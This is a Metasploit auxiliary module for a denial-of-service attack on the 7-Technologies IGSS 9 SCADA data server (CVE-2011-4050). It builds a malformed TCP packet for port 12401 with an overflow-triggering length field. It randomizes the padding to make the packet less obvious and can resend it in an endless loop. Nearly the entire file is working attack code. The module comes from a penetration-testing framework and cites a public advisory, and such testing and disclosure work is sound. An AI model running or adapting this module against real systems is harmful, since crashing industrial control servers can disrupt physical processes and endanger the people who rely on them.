##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::Tcp
	include Msf::Auxiliary::Dos

	def initialize(info = {})
		super(update_info(info,
			'Name'           => '7-Technologies IGSS 9 IGSSdataServer.exe DoS',
			'Description'    => %q{
				The 7-Technologies SCADA IGSS Data Server (IGSSdataServer.exe) <= 9.0.0.10306 can be
				brought down by sending a crafted TCP packet to port 12401.  This should also work
				for version <= 9.0.0.1120, but that version hasn't been tested.
			},
			'Author'          =>
				[
					'jfa', # Metasploit module
				],
			'License'         => MSF_LICENSE,
			'References'      =>
				[
					[ 'CVE', '2011-4050' ],
					[ 'OSVDB', '77976' ],
					[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-11-335-01.pdf' ]
				],
			'DisclosureDate' => 'Dec 20 2011'
		))

		register_options(
			[
				Opt::RPORT(12401),
				OptInt.new('COUNT', [ true, "DoS IGSSdataServer.exe this many times. 0 for infinite loop.", 1]),
				OptInt.new('SLEEP', [ true, 'Number of seconds to sleep between sending DoS packet.', 3])
			])
	end

	def run
		#
		#dos = "\x00\x04\x01\x00\x34\x12\x0D\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00"
		#dos << Rex::Text.rand_text_alpha(5014)
		#
		# I should have looked at the other MSF modules before I started doing it the hard way.
		# Lesson learn, thanks hal. Mostly borrowed from igss9_igssdataserver_rename
		#

		count = datastore['COUNT']
		snore = datastore['SLEEP']
		times = 1

		# Someone wants to keep a good service down.
		if count == 0
			count = 1
			infinite = true
		end

		#
		# The port seems to stay open open until someone clicks "Close the program".
		# Once they click "Close the program" (Windows 7), the port becomes unavailable.
		#
		# However, even though it's open, it doesn't seem to handle any valid requests.
		#
		while count >= 1 do
			## Randomize the buffer size to make it a teeny tiny bit less obvious
			size = Random.new.rand(1024..5014)

			dos  = "\x00\x04"           #Funky size causes overflow
			dos << "\x01\x00\x34\x12"
			dos << "\x0D"               #Opcode
			dos << "\x00\x00\x00\x00\x00\x00\x00"
			dos << "\x01"               #Flag
			dos << "\x00\x00\x00\x01\x00\x00\x00"
			dos << Rex::Text.rand_text_alpha(size)

			begin
				connect
				sock.put(dos)
				print_status("Sending DoS packet #{times}, size: #{dos.length} ...")
				disconnect
			rescue ::Rex::ConnectionError, Errno::ECONNREFUSED
				print_status("Connection refused. Someone may have clicked 'Close the program'")
			end

			if infinite
				select(nil, nil, nil, snore)
				times += 1
			else
				select(nil, nil, nil, snore) if count > 1
				count -= 1
				times += 1
			end

		end
	end
end